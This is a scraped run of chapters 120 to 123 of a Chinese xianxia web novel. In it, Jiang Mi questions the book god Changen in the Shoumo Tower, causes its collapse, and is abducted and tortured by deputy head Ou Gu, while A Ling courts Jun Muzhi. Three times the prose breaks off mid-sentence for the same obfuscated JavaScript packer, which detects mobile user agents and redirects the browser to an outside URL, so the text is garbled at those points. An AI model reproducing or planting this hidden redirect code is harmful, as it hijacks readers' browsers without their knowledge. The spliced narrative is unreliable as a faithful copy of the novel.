项昭昭望向一幢幢倒塌的房屋,百味楼因为有囚天笼的保护完好无损,她笑道:“他们已经阻止不了。” 十多名十二阶修士之间的打斗即便只是余势都够这些普通修士不好受,围观者一退再退。 江弥随人群后撤时往百味楼望了眼,在八名修士处于劣势的情况下,扶尧几人仍旧面色沉静,甚至带着喜意。 她仰头望向修士拉成黑线的身影,天空被阴云笼罩,术法撞击产生的光束犹如雷电,第三名修士从天空坠下将地面砸下大坑,十名黑衣修士气势越发暴涨,围攻五名略显狼狈的身影。 眼看第四名修士也将撑不住,忽然的能量变化让她侧眸望去,就见倒塌的建筑后面闪烁淡紫色光芒,流光拉长形成光柱,五道人影从里面走出。 是传送阵。 紫色光芒熄灭那刻,五人毫不犹豫加入战场,术法爆发之时引动系统攻击,局势瞬间逆转。 这场打斗壮观而迅速,从五人出现到击败黑衣修士不过半刻钟,情势的极度转变令众人瞠目结舌。 顾臣可惜道:“失败了。” 云有痴摸着胡子叹:“是啊,这么好的阵道天赋。” 顾臣眼角抽了下,再望向百味楼时神色微敛,今日过后异世者身份转换,天诛院的工作只会更难,得加快天机研发。 顾臣和云有痴离开后不久,阴沉的天空忽然放晴,阳光透过云层倾泻而出,光影变化,金色光芒在某种力量下凝聚,变成闪闪发光的大字—— 奉天承运,皇帝诏曰:九子扶旬勤勉爱民,得天庇佑,朕大限已至难以为继,今传位于扶旬,改年号永宣,望其爱民如子,天下平顺。 “成功了!”扶尧问走来的五人,“皇兄可曾遇到什么危险?其他皇兄什么反应?母妃呢?皇兄说了什么?” 为首之人语气平稳,但话中内容却惊心动魄,从试探老皇帝态度到拿到圣旨,宣读圣旨时早有意料地平定各路人造反抵抗。 末了他说:“圣上让公主不用忧心,一切顺利。” “你们做得很好,”扶尧长舒口气,笑着朝项昭昭和暮云道,“代我向你们首领道谢,跟他说,我们的合作正式开始。” · 崔大看着天边文字散去,摸着脑袋道:“这也太突然了。” 邢歌语气凝重:“这就是他们的计划,如此一来,支持异世者的就是一国君王,比没什么实权的公主更有公信力。” “看,”苏乞花咧嘴笑道,“这不是都炸出来了?” 这会儿大家忙得很,除百味楼外其他建筑被毁,有修士主动救治被压在里面的普通人,也有事不关己跟身边人热议新皇之事。 就在这时,人群里有几人陆陆续续走出,他们穿过废墟朝唯一伫立的建筑走去。 这是异世者在众目睽睽下踏上舞台的第一步。 120. 120 九皇子成为新皇的旨意昭告天下,修真界不关心凡人界的王是谁,但天一武会的创立触动修真界,让人不得不思考两者的关系。 百味楼雷打不动地招人,周围的建筑因高阶修士的打斗无一幸免,远远看去,废墟之中伫立的小楼风格古朴,仿佛世间唯一的避难所。 扶尧因皇兄的登基大典离开,招人的事由项昭昭负责,颜西辅助,前来援助的五名异世者留下来坐镇。 随后的几天仍旧有修士试图破坏天一武会的招收,包括毁坏百味楼、偷袭投诚者、刺杀项昭昭等人,都没有成功。 崔大认出项昭昭,为此气愤不已,邢歌也眼神沉冷,两人同时想到接项昭昭任务杀异世者的场景,他们没想到项昭昭竟是站在异世者这边。 苏乞花正想搞事情,于是撺掇崔大邢歌行动,就在几人商议暗袭天一武会的计划时,江弥提出了离开。 颍建不是她的目的地,停留在此也是担心崔大不知分寸,知道狐狸是邢歌后,她放心很多。 天一武会建立后,异世者的处境会发生很大变化,江弥不能再耽搁。 赶往邰兴的路上,江弥见到不少前往颍建的修士,还碰见两名异世者,再过不久天一武会就会名扬四方。 到达邰兴已是午时,她找了个路人询问大术院的方向,对方不明所以说这里就是大术院,又问了几人都得到这个答案,但…… 江弥打量懒洋洋坐在门口打扇的成衣铺老板,又朝趴在院墙上边嗑瓜子便跟邻居八卦的妇人望去,还有到处乱跑的狗和小孩,坐在树下晒太阳的老人。 怎么看都只是普通人啊! 江弥几乎要怀疑自己走到和大术院同名的地方,就在她想着要不要去别处再问问时,迎面走来三名修士,腰间佩戴弟子玉牌,水天碧色,也作帝江令,可用于储物,这是大术院的学生标配。 听到江弥询问大术院后其中的女修问她:“你来大术院做什么?” 江弥没有隐瞒:“小术院联赛的奖励是进守墨台。” 那女修听后面色好转,解释说:“邰兴不设关卡,总有人跑来大术院骗混沌名额。” “我是楚雁,他们也是大术院学生。”她介绍完江弥老实喊学长学姐。 楚雁带着她往外走:“你第一次来不明白情况很正常,大术院和小术院不一样,可以说邰兴就是大术院,也可以说大术院融在邰兴里,不知道地图很难找对地方。你是哪个小术院的?” 江弥:“心宿小术院。” “心宿院啊,”楚雁旁边的女孩问,“那你见过君慕之真人了?” 江弥:“……嗯。” 其他女孩满脸喜色,纷纷问:“他长得怎样?我听说很高冷,你和他说过话吗?” “心宿院有什么吸引他的让他连君氏都不回?” “那个叫江弥的女孩吧?” “不是又冒出来了个?” “什么时候也来大术院让我看看啊!” 江弥只回答个好看,剩下的问题她们笑着猜测起来,显然也不认为这个小术院学员知道点什么。 讨论渐息时有人忽然问她:“还不知道你叫什么?” 江弥:“……江小米。” 走到分叉路口时她们要去的地方和守墨台方向不同,楚雁想着送佛送到西,就让同伴先走,自己送江弥。 “守墨台在百川湖上,大术院的教习脾气出了名的差,你遇到问题问学长学姐也不要找教习,有很多学生整日待在守墨台里钻研术和道。里面的知识都需要大术分,你……”楚雁迟疑了下说,“既然是奖励,你应该不需要吧。” 江弥点头,楚雁带她穿过百姓的屋舍和绵长小道,指着湖水之上的庞然大物:“那就是守墨台了。” 走前她对江弥说:“你能拿到联赛奖励,进大术院应该也没问题,期待明年见到你啊。” 来的路上她大概了解了大术院。 大术院并非传统意义的修士学府,或者说,它更像是资源平台,守墨台、校场、土地、武器、聚灵台、观象台这些都是公共修炼资源。 所有资源分散在邰兴的各个地方,可能前面还是鸡舍鸭舍农家小院,后面就是用来种植药物的农田,或者楼上载歌载舞欢声笑语,地下却是兑换资源的驿事站。 大术院没有课楼,没有舍院,也不设课表,开不开课全看教习心情,主动请教修行问题要付沉重的大术分,还是去的教习小院。 在这里,没有大术分寸步难行。 大术分只有一个来源,在驿事站接任务。 驿事站每天都会有很多任务,涉及混沌、调查、平乱等等,通过帝江令发布,在驿事站认领。 江弥刚穿越遇到的沈白玟,就是接了带小术院学员在混沌历练的任务。 修士超过九阶便会遇到瓶颈,越到后面越难突破,急于求成极易走上歪路,这时高阶修士的指导就极为重要。 教习在大术院的地位很高。 江弥望向湖面上的守墨台,外形状似龟壳,安静地趴伏着,如镜的湖面倒映着蓝天白云和黑色建筑。 单看守墨台和百川湖,只会让人觉得这是个优雅壮观的景象,但百川湖对岸是精致华丽的楼坊,烟尘气十足。 江弥循着河岸踏上长桥,两侧湖水将天空映照其上,走在瞧上仿佛置身云层,桥的尽头是守墨台的大门。 大门处有个眯着眼打盹的老头,江弥过来时他瞅了眼,告诉她别待太久早点出来后又垂着脑袋打瞌睡。 刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13049703|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才听楚雁说很多大术院的修士在守墨台钻研,她以为里面人群络绎不绝,但踏入时里面空荡荡的,往里走了很远才遇到一两个出去的学生。 守墨台一层和二层有很多书,她只简略地扫了眼,有家族历史,不同道途的术法解析,神的发展史等等,都被小型结界保护着,应该要用帝江令划去大术分才能看。 江弥的目标很明确,第三层。 一层二层被划分成多个空间存放不同类型的书籍,而第三层整个就是一个房间,尽头是一扇黑色的门,镶嵌在墙体内,没有把手,没有钥匙孔,和墙壁融为一体。 江弥伸手推了推,纹丝不动,她取出作为奖励的金色罗盘,颠来倒去地翻转着,没明白怎么用。 忽然,黑门有了一丝能量波动,江弥回想了下,将金色罗盘靠近黑门,反应更加明显,她将罗盘按在门板上时有道力量将罗盘吸在门上。 江弥后退了步,罗盘上的金色化作涟漪震荡黑门,涟漪越来越密集,忽然“咔”地一声,门开了,所有涟漪散去,罗盘落地。 微弱的光从门缝透出。 江弥捡起罗盘,拉开门走了进去。 黑门关闭的瞬间,坐在门口打盹的老人陡然惊醒,身形消失在原地,下秒出现在黑门前,满是皱纹的手摸着黑色门板,但门和墙严丝合缝,无法打开。 “完了完了。” 老人心道不好,几个月不见人上三楼,偏生选在这个时间节点进去,而且他分明关闭开门的通道,只能从里面打开,究竟用的什么手段进去的? 不行,这事得先告知院长。 老人走出几步停在原地,告诉院长前得先找出谁在里面,他在守墨台匆忙回来,确定只有两名学生太过沉浸忘记时间没离开,瞬间锁定刚进去不久的卷毛女孩。 等老人将院长副院长等人喊来,已经是半刻钟后了。 · 江弥进入前觉得第三层的房间必然很大,但进入后发现并非如此,空间甚至不如二楼放书的房间,有些逼仄。 房间中央有一方灯台,上面燃着油灯,豆大火苗将房间墙壁染上浅黄色光芒。 按理说这里只有她一人,但某个看不到的存在却十分明显,并非害怕,而是在用这种存在感询问:“你有什么问题。” 江弥没有着急询问,她的目光落在四面白墙上,白色并非雪白,而是带着白纸的温和,被灯光染色后有种落日黄昏的感觉。 君慕之说过,守墨台第三层能问任何问题。 江弥:“你是谁?” 火苗没有变化,变化的是墙壁。 江弥正面对的那面墙上浮现黑色字体,回答了她的问题—— “我是书神长恩,你的所有问题,我都能回答。” 121. 121 黑门前站着数人,都是大术院的教习和院长。 副院长欧沽抬手感应黑门后面色难看,朝看守的老人发难:“不是说第三层禁止入内?为什么有人能进去?” 老人颔首:“第三层的通道确实关闭,门只能从里面打开,正常来说不该有人进去。” 欧沽不怒自威:“那你告诉我这是怎么回事?” 老人也没法解释,只是心中越发奇怪。 他看守守墨台十多年,此前第三层从未关闭过,但十多天前欧沽忽然说要关闭第三层。 近来发生的事情多,大术院学生经常往外跑,进入第三层的人极少,关闭也没太大影响。 现在只是误入一个学生,没多久就会出来,不至于让副院长发这么大脾气啊。 “不必心急,”院长神色平和,问看守老人,“进去的是哪个学生?” 老人:“之前从未见过,应该不是大术院学生……” 欧沽质问:“不是大术院学生为何能进守墨台?” “这……”老人迟疑说,“她也没被守墨台排斥啊。” 大术院因其开放性在守墨台这种地方设置了门卡,只有佩戴帝江令才能进入。 “难道是偷了哪位学生的帝江令?”有人刚猜测完又立马自我否定:“帝江令无法打开第三层。” “不管是哪种情况,等会儿出来问问就知道了。” 其中有个穿绿袍的教习听闻事情发展后若有所思,自语道:“不会是她吧?” 这道声音恰好在无人说话时响起,在场几人回头,绿袍教习停顿片刻才说:“我以裁判身份参加了今年的小术院联赛。” 这个开头令几人神色莫名。 绿袍教习继续说:“因为君慕之在,赛方特意提高比赛奖励,第一名就是进入守墨台资格。” 老人比划着询问:“是不是十七八岁的女孩,卷头发,大概这么高?” 绿袍教习点头:“就是她,她和君……” “她是小术院学员?”欧沽打断绿袍教习,得到肯定答案后心中的担忧褪去。 大术院里大多数学生都认为,小术院联赛是给那些无法升至大术院的学员准备的,连大术院都无法进入,资质修为必然不佳。 欧沽心态放松,其他人也没当回事。 绿袍教习欲言又止,最终还是没说出口。 黑门内,江弥看着墙上的回答,又问:“什么问题都可以?” 黑字浮现:“是的。” 江弥:“我提出的问题除你我二人外,会有第三者知道吗?” 黑字:“不会。” 江弥:“我想知道关于魅的一切。” 被火光染黄的墙壁上开始浮现大片黑字。 “魅是山泽水汽吸收天地灵气所化,最为纯净之物,也最易受秽气污染,伴生物溪兰可净化秽气。存活千年的魅能炼溪兰为第二重体,二者相伴而生,缺一不可。” 这些和君慕之说得差不多,只是没想到君慕之的娘竟存活了千年以上。 从这点来看,阿玲的存在就很不正常。 江弥:“如果说,我要让普通人拥有溪兰二重体,有什么办法能做到?” 墙壁长久地显示空白,许久后字迹浮现:“剥夺魅的二重体。溪兰与魅共生,需切断两者关系,让溪兰保持活性,将其植入普通人体内,成功概率几乎为零。” 江弥看着墙壁上简单粗暴的回答,反应过来“任何问题都能回答”原来是这个意思。 盯着墙上的字体,江弥仔细思索,这里说的普通人概率为零,但她不是普通人,她是异世者,或许她最开始是有系统的。 江弥努力回想刚穿越的场景。 她是在半山腰醒来的,大脑又痛又晕,说话做事像在梦中无法控制自己,直到察觉危机才从蒙昧状态清醒。 这么看来,她的身体确实有可能被人动过手脚,溪兰可能就是在那时候植入的。 植入的溪兰是谁的? 脑海浮现这个问题的同时,她在心中已经有了答案。 算算时间,君慕之的娘在六年前去世,更早前兰姨离世,时间差不多是她刚穿越那会儿。 所以她能看到兰姨的记忆? 但是谁会这么做呢? 君慕之明显也被瞒在鼓里,可兰姨去世后的一年里,他娘是有机会告诉他的,但她选择隐瞒,是不能说还是不愿意说? 江弥必须来守墨台的原因之一,就是为了确保君慕之没有说谎,只有阿玲对君慕之是不可或缺的,她才敢将性命和君慕之绑在一起。 却没想到她问出了更多。 阿玲或许不是兰姨,但肯定来自兰姨。 其实不只是溪兰,江弥抬手按住左眼,这只眼睛恐怕也不是她的,可能是和溪兰一起植入的。 会是101神吗?祂似乎和君夫人是好友。 江弥放下手,盯着空白墙壁看了片刻,还是暂且将这个疑问压下来,转而问:“识界中出现黑色物质代表什么?” 长恩十分尽责地回答:“识界是修士精神和内心的映射,你从黑色物质感受到什么,它就是什么。” 江弥觉得长恩深谙废话文学,就是那种“反正我回答了至于是不是你想要的就不一定了”的态度。 江弥进一步询问:“我要如何清除它?” 长恩:“答案在你的心里。” 江弥:“……” 江弥第一次感受到狡猾一词竟然是在书神长恩身上,她没忍住,还是开口道:“世间真的有第一百零一位神吗?” 101神和一言佛的“不可说”有关,想要了解几乎难于登天,现在有个有问必答的神在,旁敲侧击应该不会涉及“不可说”的领域。 然而江弥话落,狭小的房间凝滞片刻,灯台上的火苗闪烁不停,接着便见墙壁犹如开始疯狂扭曲,墙面仿佛化作卷轴一层层剥离。 黑门后的房间竟是由长长的纸卷起来后残余的空间。 臃肿交错的纸收拢缩小,化作一米长的卷轴悬在半空,露出原本的第三层,宽敞空旷。 卷轴上疯狂涌现黑字—— “世上有第一百零一位神吗?” “第一百零一位神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063998|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是谁?” “哪本书籍中有百神以外的其他神记录?” “廖家古籍?乐正氏的字?君氏流光?找到了,仓圣曾经写下的……是……是……什么?是什么?” 顷刻间,卷轴上的所有问题化作统一的询问—— “是什么?” 江弥有些心虚,她没想到只是简单提一下101神都会发生这种变化,要是书神因为她的问题出事就麻烦了。 江弥问:“你知道君慕之有几个亲人?我今年多大?大术院去年招了多少学生?” 然而不管江弥怎么询问,长恩陷入101神的问题无法自拔,整个空白卷轴被“是什么”填满,密密麻麻,一层又一层叠加,最后只能看到不断加重的黑色。 江弥:“……”这时候该拿出你的狡猾了! · “咔嚓”,门开了。 门口的几人纷纷望去,就见黑门后的女孩看到这么多人怔了下,然后眨了眨眼,没说话也没继续开门。 欧沽正要说话,院长率先笑着询问:“你是小术院联赛第一名?” 江弥点点头。 院长神色温和:“得到你想要的答案了吗?” 江弥:“算是。” 欧沽眉眼透出不悦:“问完还不出来?” 江弥眨了下眼,然后缓缓开门:“里面,貌似有点不对劲。” 这话立即让欧沽神经紧张,将她推开快步进去,一眼就看到被墨色染黑的卷轴,压低的怒喝声响起:“你到底做了什么?!” 院长听闻进入第三层,后面的教习们面面相觑,也跟着进去,江弥怕会儿这群人想不开将她关在里面打,贴着门出来,撞见身着墨绿衣袍的男人守在门口。 原本在想要不要直接跑路的江弥只得老实站在门外。 半开的黑门后,欧沽异常愤怒,周身力量迸发,被院长劝说最重要是解决长恩的问题而收敛怒意,接着便是各种不同的力量从门后传来。 开始还能听到欧沽气愤的声音,几人低声交流,很快鸦雀无声。 隔着厚重的黑门,江弥感觉里面力量混杂,很快某股力量壮大并压制其他力量,有什么越来越失控。 那种强烈的不安感升到最大时,江弥二话不说准备跑,守在门口的绿袍修士先一步捞起她往外冲,下秒几道身影从黑门飞出,齐齐远离第三层。 一道庞大强悍的力量向外辐射,即便反应很快,几人还是被无形的力量扫中,江弥刚凝出结界就被崩碎,两眼一黑直接昏过去。 几人如饺子般落了水,最前方的欧沽突然停住,悬立在半空,他的身后浮现巨大的金色虚影,元神男相,高大儒雅,微微下垂的眼睛注视不远处,抬手掷去一杆金色毛笔,同那辐射力量的存在相撞,百川湖激起千层水浪。 元神只出现一瞬就平息了动乱。 欧沽面色苍白地捂着胸膛,沉着脸望向被震碎的守墨台,廖家占卜中的凶兆还是没有避免。 院长看着满地狼藉,将晕过去落水的人打捞起来,找来学生将所有人搬去医署,心疼地计算这场事故的损失。 122. 122 静雅的内室里,身着黑袍的青年背手而立,他身前悬浮的空白卷轴忽然从中心自燃起来,火焰向四面蔓延吞噬了整个卷轴。 敲门进来的廖珮缨刚好看到这幕,青年侧过身,如墨的眼瞳注视她:“如你占卜所言,大凶之兆。” 廖珮缨垂下眼,避开乐正绪目光,语调平静道:“但你看上去并不生气。” 乐正绪缓步走来,站在她身前:“早就注定的结果有什么可气,乐正氏的祖辈还在妄想造神,但这天地之主早已改变,他们不愿看清而已。” 廖珮缨沉默静立,等着他下文。 “我交给你的事情,你做得很不好,”乐正绪伸出手指轻抬她下巴,宽大的黑色袖口搭在腕间,显得手指皮肤极白,他摩挲女人温暖肌肤,“你多点耐心再呆几日,乐正玲不就出现了?” 廖珮缨想起她将江弥当成乐正玲用灵棋经占卜时看到的场景,那虚空瞥来的一眼仍旧令她心悸不已。 乐正绪笑问:“害怕了?” 廖珮缨站得端正,目光落在他鼻尖:“没有。” 乐正绪略有兴味道:“那是在担心?让我猜猜,担心我因此责难于你?还是山河图也没寻到?” 廖珮缨抬眼看他,黑眸明亮而安静,好似会说话,不是他从小到大看到的麻木灰败,也非毫无生气,这样的眼睛他只在懵懂的孩童身上见过,可惜会随着长大而失去光彩。 他第一次见到就喜欢上,也让他对女人生出兴趣。 乐正绪抬手触碰她眼尾:“虽然你很笨,但我对你很有耐心,所以不用担心。” 廖珮缨笑了下,对他的话不可知否,询问:“乐正玲的事情你要如何处理?” 乐正绪心情很好:“乐正氏的子嗣,自然要认祖归宗。” · 江弥觉得自己应该被关在地牢里了。 没有其他人,四周黑黢黢的,微弱火光随着门缝漏进来的风摇晃,光影随之摆动,阴森森的。 想到最后看到书神长恩的状态,她在心中担忧,不会真的出问题了吧?又想,都自称为神了,怎么都该比山主强,山主是触发“不可说”被抹除,长恩甚至都没找到101神的信息。 但是守墨台的损失有点麻烦,要是全算她头上,把她卖了都不够。 有人过来了。 江弥看着在火光里走来的人,水墨长袍飘然而动,对方眉头紧皱,看到江弥的瞬间眼里的愤怒几乎压不住,抬手间凌厉的风甩出。 江弥下意识运转星辰之力抵挡,然而手中空空,下秒被大力甩到墙上滚落,她后知后觉发现自己的力量被压制无法使出。 靠。大术院这么大个地方用私刑。 欧沽看着女孩扶着墙站起,想到几十年的心血付之一旦就怒火中烧,抬手间再次将她甩飞。 江弥的身体经过数次升阶淬炼,但对方修的是僵神,力量来自神,即便是弱化很多的神力也够江弥受的。 欧沽冷眼看着她趴在地上吐血不止,声音沉怒:“你是个什么东西也敢亵渎书神?” 江弥压住翻涌的气血,脑海飞速运转,长恩应该受了很大损伤才会让这人这么愤怒,她竭力平稳声音道:“我只是问了一个问题。” 欧沽沉着脸看她:“说。” “要怎样才能阻止异世者降临?”江弥掩在袖下的手握了握,为了让自己尽量可信,又说:“来大术院的路上我在颍建停留几日,天一武会的创立让我觉得很不妙,想知道长恩有没有办法从根源解决问题。” 然而抬眼对上男人目光,她心头一沉,对方不在意过程,她问了什么不重要,重要的是长恩因她出问题。 小术院的惩戒是有条律规范的,大术院不可能比小术院差,但从她醒来到这人出手,每个环节都称不上规范。 这里不是大术院的惩戒堂,这是私人行为。 察觉这点时,江弥觉得情况简直不能更坏了。 “守墨台第三层被关闭你却顺利进去,就用一个问题毁了我欧家几十年努力,我会信?”欧沽冷笑:“你最好老实交代,谁派你来的?姬氏还是君氏?还是那不自量力的廖家?” 欧家?乐正氏的代言人欧家! 江弥立即意识到自己陷入怎样的处境,但绝对不能承认,她面上茫然道:“我不知道你在说什么。” 欧沽:“不知道?你很快就知道了。” 被重力压得无法动弹的江弥咽下甜腥味,下秒又被另一方向重力压来,她心中忍不住大骂了声。 · 陈河眉角抽痛地换下褶皱潮湿的绿袍,被狂暴力量扫中时他还拉着江弥,坠在众人之后,伤得最重,也更晚醒来。 帮他调理内伤的医师说他需要休息,但陈河想到守墨台发生的事就心下不安,起身去其他病房。 两名醒来的教习正在猜测第三层发生的事,见陈河来要拉着他一同讨论,陈河截断他们的话问:“所有人都送来医署了?” 教习点头:“你看上去不太好,叫医师来看看?” 陈河摆手拒绝,但站了会儿他冷汗直冒,只得坐下来继续问:“从第三层出来的女孩呢?她怎么样?” “院长说人都送到医署,她应该也在病房。” “之前副院长说要关闭第三层时大家还觉得他大题小做,没想到真出事了。” “你别当着他面提,刚才他的脸色简直不能看。” “也不知道那学员做了什么能将长恩搞崩。” 陈河知道欧沽这人性格激烈,身为副院长但从不管大术院的事,只负责守墨台第三层,以他对长恩的重视和性子,极有可能做出偏激的事。 如果是旁人还好,可那是江弥。 他亲眼目睹君慕之为其现身在众人面前,两人说话的姿态绝对不简单。 虽然最近风向有点变化,但稳妥起见,还是应该确保江弥没事。 陈河休息片刻起身询问江弥病床,然而去了后发现江弥不在,医师也说不出江弥何时离开,他又问欧沽去向,医师吞吞吐吐说不出来。 陈河只觉要遭,不顾身体病重去守墨台寻找院长。 百川湖被围了起来,修士在守墨台内外进出,院长听着底下人汇报损毁情况,好在大部分书籍的结界因外来者三番四次的偷盗行为升级无数次,反倒是完好无损,只是建筑大部分被毁,重建是个问题。 长恩也是个大问题。 陈河苍白着脸赶来院长正看着塌在水面的龟壳叹气,陈河道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13096725|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 江弥不见了。” 院长没回头:“江弥是谁?” 陈河:“让长恩失控的女修。” 院长:“大概是害怕逃了。” 院长刘治鸿和欧沽性格相反,心态平和,有责任感,他心知长恩这事也不全是江弥的错,就算追责,一个小术院学员再怎么厉害也无法赔偿所有,他倒是能理解对方逃跑的心理。 陈河一愣,倒是没考虑这个可能性,想了想还是说:“君慕之参加了今年的小术院比赛,这事您知道吗?” 刘治鸿没什么心思跟他讨论这个:“你说过。” 陈河深吸口气:“君慕之之所以参加是因为江弥。” 刘治鸿回头看他,脑海终于将让君慕之倾心的女孩和江弥联系在一起,他叹道:“那就更没办法追责了。” 陈河心道追责不追责不重要,他直接道:“我担心的是,江弥没有逃跑,而是被人带走了。” 刘治鸿瞬间明白这是什么意思,长恩出问题却没在现场,能做出这种事的只有一人,他脸上的忧愁转为凝重,直接瞬影到守墨台将所有教习召集起来找人。 “全力去找欧沽,还有江弥,别将小姑娘伤着了。” “在帝江令上发布紧急任务,范围是整个邰兴,要快!” 平日隐藏在各处的学生和教习因这条刚发布的任务纷纷冒头,整个邰兴城都有些躁动。 · 天雪峰上,同步过来的痛楚让阿玲蹙了下眉,手忍不住用力握住,君慕之目光掠过紧握的双手,询问:“你不舒服?” 阿玲摇摇头。 这是她近日来的成果。 如果只是普通朋友关系,君慕之能很轻易接受阿玲和江弥是同个人,但如果涉及更亲密的关系,君慕之就会理智地将两者区分开。 面对这样拥有很强道德感和自我约束的人,阿玲只能温水煮青蛙,潜移默化地让他感受二者是一样的。 她花了很大的功夫才让君慕之接受牵手这个行为,明明江弥最开始很轻易就牵上了。 痛楚之后是冷,寒风侵入骨髓的那种阴冷。 阿玲另只手也握了上来,君慕之体温偏凉,但也给她带来一丝暖意。 邰兴距离东岐至少得两日,阿玲赶过去绝对来不及,她在犹豫要不要告诉君慕之。 听欧沽的意思,君氏和乐正氏关系不怎么样,这和姬月生的挑衅性质完全不同,而是涉及乐正氏的书神、涉及两个大家族之间的恩怨。 君慕之会因为这种事出手吗? 最重要的是,神契即将结束。 她的溪兰本就属于君慕之,她理所当然的平等交易其实从最开始就不存在。 如果最初的神契是因为两人的不知情所致,那么接下来就是一场欺骗。 沉默半晌,阿玲还是说:“君慕之,我们重新签订神契,签一辈子的那种。” “你现在不喜欢我没关系,我会追你,让你一点点喜欢上我。” “只要我在,你不再需要一个人承担秽气的痛楚,我会帮你清除所有秽气。” 如果有机会,她还是想活下去,即便卑劣,欺骗,不择手段。 她认真许诺:“君慕之,我会对你很好很好的。” 123. 123 君慕之听完阿玲的表白陷入了沉默。 什么意思,委婉的拒绝? 他眉眼低垂不知道在想什么,貌似上次江弥表白他也是这个反应。 说起来君慕之这样的身份和实力,向他表白的人应该很多,她刚才说的话是不是没什么吸引力? 感情的事情虽然急不得,但她没有太多时间。 而且两次表白结果不理想,怎么都该找找问题出在哪里,她得知道君慕之是怎么想的。 阿玲捏了捏他的手,看他回过神便倾身上前盯着他的眼睛问:“你有什么条件可以提出来,喜欢怎样的个性,有哪些要求,我可以试试。” 君慕之垂下黑睫,但还是坐着没动。 阿玲在脑海检索上辈子看过的表白攻略,太夸张的甜言蜜语她也说不出口,思索了下道:“我的识界有很漂亮的星河,横穿视野尽头,我一人时只会观察仙梯的等级,思考它能给我带来多少力量,如果你在的话,我会很认真欣赏它的美,因为我想给你展现它最好的一面。” 这是阿玲能想出来的,最好听的情话。 识界是修士的弱点。 君慕之清除体内秽气需要阿玲,但却迟迟没让阿玲进入他的识界,他虽然心思不复杂,却也不蠢。 她想,君慕之愿意和她生死相依的话,她可以后退一步,将弱点的一端放在他手里。 阿玲单手贴在他脸侧,感觉他想后退,另只手也贴过来,她捧着他的脸问:“君慕之,要不要看星河?” 君慕之被她接连的告白砸得缓不过来,眨了下,眼睛荡漾着清冽眸光,垂下的手抬起想要将她拉开,却在触碰到她时蜷着手指放弃。 “太快了。” 阿玲思索这是他的真心话还是推托之词,想要认真观察时君慕之抬手点在她额头,微微用力。 她准备趁热打铁,门忽然被推开,谷不休粗喘着气刚要说话,抬眼就见阿玲要靠近时被君慕之冷淡推开,还想继续又被突然出现的他打断,一双冷眸不悦望向他。 谷不休十分艰难地将嘴里的话咽下去,心中呐喊我到底该不该说江弥生命垂危?少主心里到底还有没有江弥?我要拿什么态度对待这两人啊? 君慕之起身往门边走。 阿玲坐在原处想,她心目中的理想状态是相亲相爱互帮互助,实在不行那就来硬的,她不想走到这一步,但溪兰现在在她这里,即便君慕之不愿意也没办法。 而门边的谷不休一把将君慕之拉到门外,还特意布置了个隔音的阵法问:“你真喜欢她……不管江弥了?” 君慕之:“有事?” 谷不休也不知这事该不该说,撸了把头发:“如果要在两个人里面选的话,我觉得江弥好些,至少来历清楚,但你喜欢也没办法,就是现在人遇到点事,你……” 君慕之皱眉打断:“什么事?” “刚才大术院院长传来音讯,说江弥可能被欧家人带走了,现在正在全城搜索。那个欧沽我见过,脾气挺爆,要是落在他手上不死也重伤,”谷不休说到一半君慕之转身往屋里走,他顿时嚷道,“哎哎,我说江弥呢你找阿玲做什么,你真不管江弥了?” 谷不休跟着君慕之,还没进屋就被门板关在外面。 阿玲见他回来,刚起身就见他神色严肃问:“你受伤了?” 阿玲:“我没事,神契的事情你先……” “什么神契?”谷不休推开门就听到阿玲说的话,什么意思,这女人是冲着君氏少主夫人来的? 阿玲不理会谷不休,拉住君慕之不让他被喊走,神色带着深思熟虑后的认真:“就算你不喜欢也没办法了,你离不开我,我们可以先签订神契,感情的事发展发展就有了,我是你最好的选择——” 君慕之按住她肩膀,打断她的话:“你在哪里?” “她不就在那里?”谷不休听不懂两人在说什么,什么叫君慕之离不开她?神契不是和江弥签了? 还在茫然的谷不休直接就被君慕之甩出去锁上门。 君慕之继续问:“你被欧沽带走了?现在在哪里?” 阿玲听到这就知道消息是谷不休送来的。 她知道再提神契的事就不合适了,只得说:“我在守墨台晕过去,醒来被关在一个房间,很黑,我不知道那是哪里,星辰之力没法使用。他在逼问我,怀疑我是君氏或者姬氏派来的。” 想起她刚才蹙眉忍痛的样子,君慕之捏了下她的手,语气有些冰冷:“等会儿我们再谈。” 说着便消失在原地,门外的谷不休喊了声君慕之,片刻后门被推开,谷不休盯着阿玲看了许久:“他不可能和你签神契,他和江弥已经有神契了。” 阿玲:“你是怎么得到江弥消息的?” “大术院院长知道江弥和君慕之的关系,自然不能让江弥出事。”谷不休皱眉问,“你到底有什么意图?” 阿玲目光轻点他:“大术院现在什么情况?” 